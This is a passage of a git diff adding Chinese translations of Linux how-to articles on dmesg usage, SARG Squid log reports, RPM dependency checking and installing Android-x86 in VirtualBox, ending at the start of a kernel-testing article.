~]# dmesg | less + +### 输出 ### + + [ 0.000000] Initializing cgroup subsys cpuset + [ 0.000000] Initializing cgroup subsys cpu + [ 0.000000] Initializing cgroup subsys cpuacct + [ 0.000000] Linux version 3.11.0-13-generic (buildd@aatxe) (gcc version 4.8.1 (Ubuntu/Linaro 4.8.1-10ubuntu8) ) #20-Ubuntu SMP Wed Oct 23 17:26:33 UTC 2013 + (Ubuntu 3.11.0-13.20-generic 3.11.6) + [ 0.000000] KERNEL supported cpus: + [ 0.000000] Intel GenuineIntel + [ 0.000000] AMD AuthenticAMD + [ 0.000000] NSC Geode by NSC + [ 0.000000] Cyrix CyrixInstead + [ 0.000000] Centaur CentaurHauls + [ 0.000000] Transmeta GenuineTMx86 + [ 0.000000] Transmeta TransmetaCPU + [ 0.000000] UMC UMC UMC UMC + [ 0.000000] e820: BIOS-provided physical RAM map: + [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable + [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved + [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000007dc08bff] usable + [ 0.000000] BIOS-e820: [mem 0x000000007dc08c00-0x000000007dc5cbff] ACPI NVS + [ 0.000000] BIOS-e820: [mem 0x000000007dc5cc00-0x000000007dc5ebff] ACPI data + [ 0.000000] BIOS-e820: [mem 0x000000007dc5ec00-0x000000007fffffff] reserved + [ 0.000000] BIOS-e820: [mem 0x00000000e0000000-0x00000000efffffff] reserved + [ 0.000000] BIOS-e820: [mem 0x00000000fec00000-0x00000000fed003ff] reserved + [ 0.000000] BIOS-e820: [mem 0x00000000fed20000-0x00000000fed9ffff] reserved + [ 0.000000] BIOS-e820: [mem 0x00000000fee00000-0x00000000feefffff] reserved + [ 0.000000] BIOS-e820: [mem 0x00000000ffb00000-0x00000000ffffffff] reserved + [ 0.000000] NX (Execute Disable) protection: active + ..... + +###2. 列出所有被检测到的硬件 ### + +要显示所有被内核检测到的硬盘设备,你可以使用‘**grep**’命令搜索‘**sda**’关键词,如下: + + [root@tecmint.com ~]# dmesg | grep sda + + [ 1.280971] sd 2:0:0:0: [sda] 488281250 512-byte logical blocks: (250 GB/232 GiB) + [ 1.281014] sd 2:0:0:0: [sda] Write Protect is off + [ 1.281016] sd 2:0:0:0: [sda] Mode Sense: 00 3a 00 00 + [ 1.281039] sd 2:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA + [ 1.359585] sda: sda1 sda2 < sda5 sda6 sda7 sda8 > + [ 1.360052] sd 2:0:0:0: [sda] Attached SCSI disk + [ 2.347887] EXT4-fs (sda1): mounted filesystem with ordered data mode. Opts: (null) + [ 22.928440] Adding 3905532k swap on /dev/sda6. Priority:-1 extents:1 across:3905532k FS + [ 23.950543] EXT4-fs (sda1): re-mounted. Opts: errors=remount-ro + [ 24.134016] EXT4-fs (sda5): mounted filesystem with ordered data mode. Opts: (null) + [ 24.330762] EXT4-fs (sda7): mounted filesystem with ordered data mode. Opts: (null) + [ 24.561015] EXT4-fs (sda8): mounted filesystem with ordered data mode. Opts: (null) + +**注解** ‘sda’表示第一块 SATA硬盘,‘sdb’表示第二块SATA硬盘。若想查看IDE硬盘搜索‘hda’或‘hdb’关键词。 + +### 3. 只输出dmesg命令的前20行日志 ### + +在‘dmesg’命令后跟随‘head’命令来显示开始几行,‘dmesg | head -20′命令将显示开始的前20行。 + + [root@tecmint.com ~]# dmesg | head -20 + + [ 0.000000] Initializing cgroup subsys cpuset + [ 0.000000] Initializing cgroup subsys cpu + [ 0.000000] Initializing cgroup subsys cpuacct + [ 0.000000] Linux version 3.11.0-13-generic (buildd@aatxe) (gcc version 4.8.1 (Ubuntu/Linaro 4.8.1-10ubuntu8) ) #20-Ubuntu SMP Wed Oct 23 17:26:33 UTC 2013 (Ubuntu 3.11.0-13.20-generic 3.11.6) + [ 0.000000] KERNEL supported cpus: + [ 0.000000] Intel GenuineIntel + [ 0.000000] AMD AuthenticAMD + [ 0.000000] NSC Geode by NSC + [ 0.000000] Cyrix CyrixInstead + [ 0.000000] Centaur CentaurHauls + [ 0.000000] Transmeta GenuineTMx86 + [ 0.000000] Transmeta TransmetaCPU + [ 0.000000] UMC UMC UMC UMC + [ 0.000000] e820: BIOS-provided physical RAM map: + [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable + [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved + [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000007dc08bff] usable + [ 0.000000] BIOS-e820: [mem 0x000000007dc08c00-0x000000007dc5cbff] ACPI NVS + [ 0.000000] BIOS-e820: [mem 0x000000007dc5cc00-0x000000007dc5ebff] ACPI data + [ 0.000000] BIOS-e820: [mem 0x000000007dc5ec00-0x000000007fffffff] reserved + +###4. 只输出dmesg命令最后20行日志 ### + +在‘dmesg’命令后跟随‘tail’命令(‘ dmesg | tail -20’)来输出‘dmesg’命令的最后20行日志,当你插入可移动设备时它是非常有用的。 + + [root@tecmint.com ~]# dmesg | tail -20 + + parport0: PC-style at 0x378, irq 7 [PCSPP,TRISTATE] + ppdev: user-space parallel port driver + EXT4-fs (sda1): mounted filesystem with ordered data mode + Adding 2097144k swap on /dev/sda2. Priority:-1 extents:1 across:2097144k + readahead-disable-service: delaying service auditd + ip_tables: (C) 2000-2006 Netfilter Core Team + nf_conntrack version 0.5.0 (16384 buckets, 65536 max) + NET: Registered protocol family 10 + lo: Disabled Privacy Extensions + e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None + Slow work thread pool: Starting up + Slow work thread pool: Ready + FS-Cache: Loaded + CacheFiles: Loaded + CacheFiles: Security denies permission to nominate security context: error -95 + eth0: no IPv6 routers present + type=1305 audit(1398268784.593:18630): audit_enabled=0 old=1 auid=4294967295 ses=4294967295 res=1 + readahead-collector: starting delayed service auditd + readahead-collector: sorting + readahead-collector: finished + +### 5. 搜索包含特定字符串的被检测到的硬件 ### + +由于‘dmesg’命令的输出实在太长了,在其中搜索某个特定的字符串是非常困难的。因此,有必要过滤出一些包含‘**usb**’ ‘**dma**’ ‘**tty**’ ‘**memory**’等字符串的日志行。[grep 命令][1] 的‘**-i**’选项表示忽略大小写。 + + [root@tecmint.com log]# dmesg | grep -i usb + [root@tecmint.com log]# dmesg | grep -i dma + [root@tecmint.com log]# dmesg | grep -i tty + [root@tecmint.com log]# dmesg | grep -i memory + +###输出### + + [ 0.000000] Scanning 1 areas for low memory corruption + [ 0.000000] initial memory mapped: [mem 0x00000000-0x01ffffff] + [ 0.000000] Base memory trampoline at [c009b000] 9b000 size 16384 + [ 0.000000] init_memory_mapping: [mem 0x00000000-0x000fffff] + [ 0.000000] init_memory_mapping: [mem 0x37800000-0x379fffff] + [ 0.000000] init_memory_mapping: [mem 0x34000000-0x377fffff] + [ 0.000000] init_memory_mapping: [mem 0x00100000-0x33ffffff] + [ 0.000000] init_memory_mapping: [mem 0x37a00000-0x37bfdfff] + [ 0.000000] Early memory node ranges + [ 0.000000] PM: Registered nosave memory: [mem 0x0009f000-0x000effff] + [ 0.000000] PM: Registered nosave memory: [mem 0x000f0000-0x000fffff] + [ 0.000000] please try 'cgroup_disable=memory' option if you don't want memory cgroups + [ 0.000000] Memory: 2003288K/2059928K available (6352K kernel code, 607K rwdata, 2640K rodata, 880K init, 908K bss, 56640K reserved, 1146920K highmem) + [ 0.000000] virtual kernel memory layout: + [ 0.004291] Initializing cgroup subsys memory + [ 0.004609] Freeing SMP alternatives memory: 28K (c1a3e000 - c1a45000) + [ 0.899622] Freeing initrd memory: 23616K (f51d0000 - f68e0000) + [ 0.899813] Scanning for low memory corruption every 60 seconds + [ 0.946323] agpgart-intel 0000:00:00.0: detected 32768K stolen memory + [ 1.360318] Freeing unused kernel memory: 880K (c1962000 - c1a3e000) + [ 1.429066] [drm] Memory usable by graphics device = 2048M + +### 6. 清空dmesg缓冲区日志 ### + +我们可以使用如下命令来清空dmesg的日志。该命令会清空dmesg环形缓冲区中的日志。但是你依然可以查看存储在‘**/var/log/dmesg**’文件中的日志。你连接任何的设备都会产生dmesg日志输出。 + + [root@tecmint.com log]# dmesg -c + +### 7. 实时监控dmesg日志输出 ### + +在某些发行版中可以使用命令‘tail -f /var/log/dmesg’来实时监控dmesg的日志输出。 + + [root@tecmint.com log]# watch "dmesg | tail -20" + +**结论**:dmesg命令在系统dmesg记录实时更改或产生的情况下是非常有用的。你可以使用man dmesg来获取更多关于dmesg的信息。 + +---------- + +![](http://1.gravatar.com/avatar/36c7c25164c3455f2f711b01e395de0d?s=80&d=blank&r=G) + +Narad Shrestha + +- [Twitter profile][t] +- [Facebook profile][f] +- [Google+ profile][g] + +他在IT领域拥有超过10年的丰富经验,其中包括各种Linux发行版,开源软件和网络工作。 Narad始终坚持与他人分享IT知识和自如地运用新技术。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/dmesg-commands/ + +译者:[cvsher](https://github.com/cvsher) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/12-practical-examples-of-linux-grep-command/ +[t]:http://twitter.com/@nrdshrestha +[f]:http://facebook.com/narad.shrestha.9 +[g]:http://plus.google.com/104542109955805873615?rel=author + diff --git a/published/201408/20140716 How to analyze Squid logs with SARG log analyzer on CentOS.md b/published/201408/20140716 How to analyze Squid logs with SARG log analyzer on CentOS.md new file mode 100644 index 0000000000..52224ca5b1 --- /dev/null +++ b/published/201408/20140716 How to analyze Squid logs with SARG log analyzer on CentOS.md @@ -0,0 +1,118 @@ +如何用CentOS上的SARG日志分析器来分析Squid日志 +================================================================================ + +[上一节教程][1]中,我们展示了如何在CentOS上使用Squid配置透明代理。Squid提供了很多有用的特性,但是分析一个原始Squid日志文件并不直接。比如,你如何分析下面Squid日志中的时间戳和数字? + + 1404788984.429 1162 172.17.1.23 TCP_MISS/302 436 GET http://facebook.com/ - DIRECT/173.252.110.27 text/html + 1404788985.046 12416 172.17.1.23 TCP_MISS/200 4169 CONNECT stats.pusher.com:443 - DIRECT/173.255.223.127 - + 1404788986.124 174 172.17.1.23 TCP_MISS/200 955 POST http://ocsp.digicert.com/ - DIRECT/117.18.237.29 application/ocsp-response + 1404788989.738 342 172.17.1.23 TCP_MISS/200 3890 CONNECT www.google.com:443 - DIRECT/74.125.200.106 - + 1404788989.757 226 172.17.1.23 TCP_MISS/200 942 POST http://clients1.google.com/ocsp - DIRECT/74.125.200.113 application/ocsp-response + 1404788990.839 3939 172.17.1.23 TCP_MISS/200 78944 CONNECT fbstatic-a.akamaihd.net:443 - DIRECT/184.26.162.35 - + 1404788990.846 2148 172.17.1.23 TCP_MISS/200 118947 CONNECT fbstatic-a.akamaihd.net:443 - DIRECT/184.26.162.35 - + 1404788990.849 2151 172.17.1.23 TCP_MISS/200 76809 CONNECT fbstatic-a.akamaihd.net:443 - DIRECT/184.26.162.35 - + 1404788991.140 611 172.17.1.23 TCP_MISS/200 110073 CONNECT fbstatic-a.akamaihd.net:443 - DIRECT/184.26.162.35 – + +SARG(或者说是Squid分析报告生成器)是一款基于web的工具,用于从Squid日志中生成报告。SARG提供了一个由Squid处理的网络流量视图,易于理解,并且它可以很容易地设置和维护。在下面的教程中,我们会展示**如何在CentOS平台上设置SARG**。 + +我们使用yum来安装安装必要的依赖。 + + # yum install gcc make wget httpd crond + +在启动时加载必要的服务 + + # service httpd start; service crond start + # chkconfig httpd on; chkconfig crond on + +现在我们下载并解压SARG + + # wget http://downloads.sourceforge.net/project/sarg/sarg/sarg-2.3.8/sarg-2.3.8.tar.gz? + # tar zxvf sarg-2.3.8.tar.gz + # cd sarg-2.3.8 + +**注意**: 对于64位的Linux,log.c的源代码需要用下面的文件打补丁。 + + 1506c1506 + < if (fprintf(ufile->file, "%s\t%s\t%s\t%s\t%"PRIi64"\t%s\t%ld\t%s\n",dia,hora,ip,url,nbytes,code,elap_time,smartfilter)<=0) { + --- + > if (fprintf(ufile->file, "%s\t%s\t%s\t%s\t%"PRIi64"\t%s\t%ld\t%s\n",dia,hora,ip,url,(int64_t)nbytes,code,elap_time,smartfilter)<=0) { + 1513c1513 + < fprintf(fp_log, "%s\t%s\t%s\t%s\t%s\t%"PRIi64"\t%s\t%ld\t%s\n",dia,hora,user,ip,url,nbytes,code,elap_time,smartfilter); + --- + > fprintf(fp_log, "%s\t%s\t%s\t%s\t%s\t%"PRIi64"\t%s\t%ld\t%s\n",dia,hora,user,ip,url,(int64_t)nbytes,code,elap_time,smartfilter); + 1564c1564 + < printf("LEN=\t%"PRIi64"\n",nbytes); + --- + > printf("LEN=\t%"PRIi64"\n",(int64_t)nbytes); + +如下继续并编译/安装SARG + + # ./configure + # make + # make install + +SARG安装之后,配置文件可以按你的要求修改。下面是一个SARG配置的例子。 + + # vim /usr/local/etc/sarg.conf + +---------- + + access_log /var/log/squid/access.log + temporary_dir /tmp + output_dir /var/www/html/squid-reports + date_format e ## We use Europian DD-MM-YYYY format here ## + ## we don’t want multiple reports for single day/week/month ## + overwrite_report yes + +现在是时候测试运行了,我们用调试模式运行sarg来查看是否存在错误。 + + # sarg -x + +如果i一切正常,sarg会根系Squid日志,并在/var/www/html/squid-reports下创建报告。报告也可以在浏览器中通过地址http://<服务器IP>/squid-reports/访问。 + +![](https://farm3.staticflickr.com/2931/14631403935_4ff34e07b9_z.jpg) + +![](https://farm4.staticflickr.com/3901/14629281644_fec31014c5_z.jpg) + +、SARG可以用于创建日、周、月度报告。时间范围用“-d”参数来指定,值的形式很可能为day-n、 week-n 或者 month-n,n的值为向前推移的天/周/月的数量。比如,使用week-1,SARG会生成之前一星期的报告。使用day-2,SARG会生成之前两天的报告。 + +作为演示,我们会准备一个计划任务来每天运行SARG。 + + # vim /etc/cron.daily/sarg + +---------- + + #!/bin/sh + /usr/local/bin/sarg -d day-1 + +文件需要可执行权限。 + + # chmod 755 /usr/local/bin/sarg + +现在SARG应该会每天准备关于Squid管理的流量报告。这些报告可以很容易地通过SARG网络接口访问。 + +总结一下,SARG一款基于网络的工具,它可以分析Squid日志,并以更详细的方式展示分析。系统管理员可以利用SARG来监视哪些网站被访问了,并跟踪访问量最大的网站和用户。本教程包含了SARG配置工作。你可以进一步自定义配置来满足自己的要求。 + +希望这篇教程对您有帮助。 + +---------- + +[Sarmed Rahman][w] + +- [Twitter 地址][t] +- [LinkedIn 地址][l] + +Sarmed Rahman是一名孟加拉国的IT专业人士。他坚持时不时地写作技术文章,并坚信技术可以通过分享而提高。在空闲时间里,他喜欢打游戏,喜欢和朋友一起度过。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/analyze-squid-logs-sarg-log-analyzer-centos.html + +译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2014/06/squid-transparent-web-proxy-centos-rhel.html +[w]:http://amar-linux.blogspot.com/ +[t]:http://twitter.com/SarmedRahman +[l]:http://www.linkedin.com/in/sarmedrahman diff --git a/published/201408/20140716 How to check RPM package dependencies on Fedora or CentOS or RHEL.md b/published/201408/20140716 How to check RPM package dependencies on Fedora or CentOS or RHEL.md new file mode 100644 index 0000000000..95efd52b22 --- /dev/null +++ b/published/201408/20140716 How to check RPM package dependencies on Fedora or CentOS or RHEL.md @@ -0,0 +1,97 @@ +教你如何在Fedora,CentOS,RHEL中检查RPM包的依赖性 +================================================================================ + +我们都知道,在基于红帽的Linux系统中,一个RPM包,需要把先将它依赖的其他包安装好才能正常的工作。对于终端用户,RPM的安装、更新、删除中存在的依赖关系已经被工具透明化了(如 yum或 DNF等)。但如果你是系统管理员或者RPM包的管理员,你需要谙熟RPM包的依赖关系,以便及时更新、删除适当的包来保证系统的正常运行。 + +在本教程中,我将教大家**如何检查RPM包的依赖关系**。无论这个包是否已经安装进操作系统中,我们都有一些办法来检查它们的依赖性。 + +### 方法一 ### + +使用RPM命令可以列出目标包所依赖的所有包,如下: + $ rpm -qR + +![](https://farm6.staticflickr.com/5512/14659620723_4a36970efc_o.png) + +注意,这种方法只适用于**已安装**的包。如果你需要检查一个**未安装**包的依赖关系,你首先需要把这个包先下载到本地来(不需要安装)。 + +要下载一个 RPM 包而不安装,可以使用叫做'yumdownloader'的工具,下面我们先安装yumdownloader: + + $ sudo yum install yum-utils + +现在我们来检查一个未安装的RPM包的依赖关系(本例使用 tcpdump)。首先,我们使用yumdownloader把tcpdump的RPM包下载下来 + + $ yumdownloader --destdir=. tcpdump + +然后再使用 "-qpR"参数显示该包的依赖关系。 + + # rpm -qpR tcpdump-4.4.0-2.fc19.i686.rpm + +### 方法二 ### + +你可以使用repoquery工具来罗列包的依赖关系,它与包是否安装无关,这个工具包含在yum-utils中。 + + $ sudo yum install yum-utils + +显示目标包所依赖的包: + + $ repoquery --requires --resolve + +![](https://farm3.staticflickr.com/2935/14453103778_05db349b19_o.png) + +为让repoquery正常的工作,需要保持网络的畅通,应为repoquery需要在Yum库中查找信息。 + +### 方法三 ### + +第三个方法是使用rpmreaper工具。这个工具本来是用作清理系统中无用以及它们所依赖的包,rpmreaper有很直观的ncurses界面来展示已安装的包和它们依赖关系的树形图。 + +安装rpmrepater,在CentOS中,你需要先[设置好EPEL库][1] + + $ sudo yum install rpmreaper + +只需运行rpmreaper就可以看到RPM包的依赖关系: + + $ rpmreaper + +![](https://farm4.staticflickr.com/3838/14636456131_99a3c26945_z.jpg) + +rpmrepater会向用户显示已安装包的列表,你可以使用上/下箭头来滚动屏幕。 + +你可以在指定包上使用"r"键来显示其依赖关系,循环在指定包上按下"r"键可以展示出余下的信息。 + +"L"标志的意思是说这个包是一片“孤叶”,意思说说没有任何包依赖它。 + +"o"标志是说这个包是整个依赖链的中间部分。 + +按下"b"键会显示其他依赖于该包的其他包。 + +### 方法四 ### + +还有一个办法是使用rpmdep工具,rpmdep是一个命令行工具,可以显示已安装包的完整包依赖关系图。该工具会分析RPM包的依赖性,从完整的排完序的拓扑图中摘取部分包的信息,形成列表展示给用户。该工具的输出结果可以直接使用到Dotty(可视化展示工具)中去。 + +在Fedora中安装rpmdep和dotty: + + $ sudo yum install rpmorphan graphviz + +在CentOs中安装: + $ wget http://downloads.sourceforge.net/project/rpmorphan/rpmorphan/1.14/rpmorphan-1.14-1.noarch.rpm + $ sudo rpm -ivh rpmorphan-1.14-1.noarch.rpm + $ sudo yum install graphviz + +生成包依赖的拓扑关系图(例如 gzip): + + $ rpmdep.pl -dot gzip.dot gzip + $ dot -Tpng -o output.png gzip.dot + +![](https://farm4.staticflickr.com/3918/14453050980_53de4e8277_z.jpg) + +教程到这个地方,我们用到了几种办法来检查包的依赖关系。如果您想知道如何在居于Debian的系统中检查.deb的包依赖关系,请阅读另外一篇[文档][2] +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/check-rpm-package-dependencies-fedora-centos-rhel.html + +译者:[nd0104](https://github.com/nd0104) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[2]:http://xmodulo.com/2013/07/how-to-check-package-dependencies-on-ubuntu-or-debian.html diff --git a/published/201408/20140716 Install Android 4.4 KitKat to Run Favourite Games and Applications in Linux.md b/published/201408/20140716 Install Android 4.4 KitKat to Run Favourite Games and Applications in Linux.md new file mode 100644 index 0000000000..72d1ccfb31 --- /dev/null +++ b/published/201408/20140716 Install Android 4.4 KitKat to Run Favourite Games and Applications in Linux.md @@ -0,0 +1,182 @@ +在Linux上安装Android 4.4 KitKat来玩玩喜爱的游戏和应用 +================================================================================ +**Android (x86)**项目致力于移植Android系统到X86处理器上,使用户可以更容易的在任何电脑上安装Android。他们通过使用android源码,增加补丁来使Android能够在X86处理器,笔记本电脑和平板电脑下工作。 + +![Install Android 4.4 KitKat in Linux](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-4.4-KitKat.jpg) +在Linux安装Android 4.4 KitKat + +前一段时间,项目组发布了最新的“Android KitKat 4.4 RC2”,下面,我将说明如何在VirtualBox上安装,不过有一个小问题,安装完成Android后鼠标指针不工作了,我猜,如果你根据本教程将它安装成主系统,这个鼠标应该可以工作,否则我们只能使用键盘了。 + +### 第一步: 在linux上安装VirtualBox ### + +**1.** 大多数的Linux发行版中,官方源都有VirtualBox,例如在Ubuntu中安装 + + $ sudo apt-get install virtualbox + +其他的Linux发行版,像**RHEL, CentOS and Fedora**,请参考下面文章来安装VirtualBox + +- [Install VirtualBox in RHEL, CentOS and Fedora][1] + +### 第二步: 下载并在VirtualBox中安装Android 4.4 kitkat ### + +**2.** 这步挺简单的,只是需要去[androud Sourceforge.net][2]项目下载 **Android 4.4 x86 Kit Kat**文件 + +**3.** 要想安装**Android 4.4 kitkat**,首先,你需要启动刚刚下载.iso文件,打开 **VirtualBox**,创建一个新的虚拟机,然后按照下面图片设置: + +![Create New Virtual Machine](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-01.png) +创建新的虚拟机 + +**4.** 接下来,它会询问你新设备的内存大小,Android 4.4 kikat需要1G内存才能完美运行,但是由于我的电脑只有1G内存,我只能选择512MB。 + +![Set Memory to New Machine](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-02.png) +设置内存 + +**5.** 选择“现在创建虚拟硬盘”(“Create a virtual hard drive now”)来创建一个新的硬盘。 + +![Create Virtual Hard Drive](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-03.png) +创建虚拟硬盘 + +**6.** 它现在会询问你新虚拟硬盘的类型,选择**VDI** + +![Select Hard Drive Type](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-04.png) +选择硬盘驱动类型 + +![Select Storage Type](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-05.png) +选择存储方式 + +**7.** 现在设置虚拟硬盘大小,你可以按照你的所需来设置任何大小,但是除了将来安装Apps所用的空间,至少需要**4G**来保证系统正确安装。 + +![Set Size for Virtual Drive](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-32.png) +设置虚拟硬盘大小 + +**8.** 现在你的新虚拟设备创建好了,可以启动下载的**.iso**文件了,从左边的列表选择创建的虚拟机,点击**设置** -> **存储** ,如下图,选择**android 4.4 kitkat RC2**的镜像文件。 + +![Select Android KitKat ISO](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-06.png) +选择Android KitKat ISO + +**9.** 点击**OK**, 打开机器,启动.iso镜像, 选择 “**安装**” 开始在虚拟机上安装系统. + +![Select to Install Android Kit Kat](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-07.png) +选择安装Android Kit Kat + +**10.** 请选择一个分区来安装Android-x86 + +![Select Partition Drive](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-08.png) +选择 Partition Drive + +**11.** 如下图,你可以看见cfdisk界面,cfdisk是一个分区工具,我们将要使用它来创建一个新的硬盘分区,用来安装Android 4.4,现在,点击 “**New**” + +![Create New Partition](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-09.png) +创建新分区 + +**12.** 选择“**Primary**”作为分区类型 + +![Choose Primary Partition](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-10.png) +选择主分区 + +**13.** 接下来,设置分区大小 + +![Select Size of Partition](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-11.png) +设置分区大小 + +**14.** 现在我们必须给硬盘创建新的引导使其能够写入新的分区表,点击“**Bootable**”给引导标记新的分区,你不会注意到有任何变化,但是引导标记将会自己给选中分区。 + +![Make Partition Bootable](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-12.png) +制作分区引导 + +**15.** 完成之后,点击“**Write**”对硬盘写入新的分区。 + +![Apply Changes to Partition](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-13.png) +应用新分区 + +**16.** 它会询问你是否确认,输入“**yes**”并点击**Enter** + +![Confirm Partition Changes](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-14.png) +确认分区改变 + +**17.** 现在我们的新硬盘已经创建,点击 **Quit** 你就可以看来类似下图的显示,选中刚刚创建的用来安装Android 的分区,点击**Enter** + +![Choose Partition to Install Android](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-15.png) +选择分区来安装Android + +**18.** 选择“**ext3**”作为硬盘文件系统并格式化 + +![Select Ext3 Partition Type](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-16.png) +选择Ext3分区类型 + +![Format Partition](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-17.png) +格式化分区 + +**19.** 它将会询问你是否需要安装GRUB启动器,当然选择**Yes**,如果不这样,你将不能启动新系统,所以选择**Yes**并点击**Enter** + +![Install Boot Loader GRUB](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-18.png) +安装启动加载器 GRUB + +**20.** 最后,它会问你是否设置**/system**分区能写入,选择**yes**,它会在安装完系统后帮助你减少很多麻烦。 + +![Make Partition Writeable](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-19.png) +使分区能写入 + +**21.** 安装将会开始它的任务,安装器结束工作后,选择重启,在我做测试的时候,“Run-Android x86”不起作用,所以你不得不重启。 + +![Android Kit Kat Installation](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-20.png) +Android Kit kat 安装完成 + +**22.** 我们已经完成安装**Android 4.4 KitKat RC2**,问题是VirtualBox将会继续加载**.iso**镜像文件而不是从虚拟硬盘驱动启动,所以为了修正这个问题,选择**设置** -> **存储** ->移除iso文件 + +![Remove Android Kit Kat Image](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-21.png) +移除Android Kit Kat 镜像 + +**23.** 你可以启动你的虚拟设备,运行你的Android系统了 + +![Start Android Kit Kat System](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-23.png) +启动Android Kit Kat 系统 + +![Android Splash Screen](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-24.png) +Android标志界面 + +**24.** 使用**Android**之前,你需要完成一个向导来进行配置。你会看见如下屏幕,现在的问题是,鼠标不能在**android 4.4 kitkat**工作,这意味着我们需要展示我们高超的键盘试用技巧了。首先,选择语言,你需要使用键盘**上**键和**下**键,进行到下一步,敲击**右**键移动光标,选择**Enter** + +![Android Welcome Screen](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-31.png) +Android 欢迎界面 + +![Select WiFi Network](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-25.png) +选择WiFi网络 + +![Create Android Google Account](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-26.png) +创建Android Google账户 + +![Sign in Google Account](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-27.png) +注册Google账户 + +![Set Date and Time](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-28.png) +设置日期和时间 + +![Enter Your Details](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-29.png) +输入你的信息 + +![Android 4.4 Kit Kat Home Screen](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Android-Kit-Kat-in-Linux-30.jpeg) +Android 4.4 Kit Kat 主界面 + + +如果你没有智能手机而又想轻松使用**Play Store**apps,那么安装 **Android x86**是个不错的选择。你曾经尝试过安装android x86吗?结果怎样呢?你有没有想过android可以成为一个目标指向桌面功能的**真正操作系统**? + +---------- + +![](http://1.gravatar.com/avatar/1374d0df45065e405e1b059d2fca04ff?s=80&d=blank&r=G) + +[Hanny Helal][3] + +自2010年起,成为Linux和自由软件用户,致力于多个自由软件项目。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-android-kitkat-in-linux/ + +译者:[Vic___](http://www.vicyu.net) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/install-virtualbox-on-redhat-centos-fedora/ +[2]:http://sourceforge.net/projects/android-x86/ +[3]:http://www.tecmint.com/ diff --git a/published/201408/20140718 Linux Kernel Testing and Debugging 1.md b/published/201408/20140718 Linux Kernel Testing and Debugging 1.md new file mode 100644 index 0000000000..c3a5514d81 --- /dev/null +++ b/published/201408/20140718 Linux Kernel Testing and Debugging 1.md @@ -0,0 +1,76 @@ +Linux 内核的测试和调试(1) +================================================================================ +### Linux 内核测试哲学 ### + +不管是开源还是闭源,所有软件的开发流程中,测试是一个重要的、不可或缺的环节,Linux 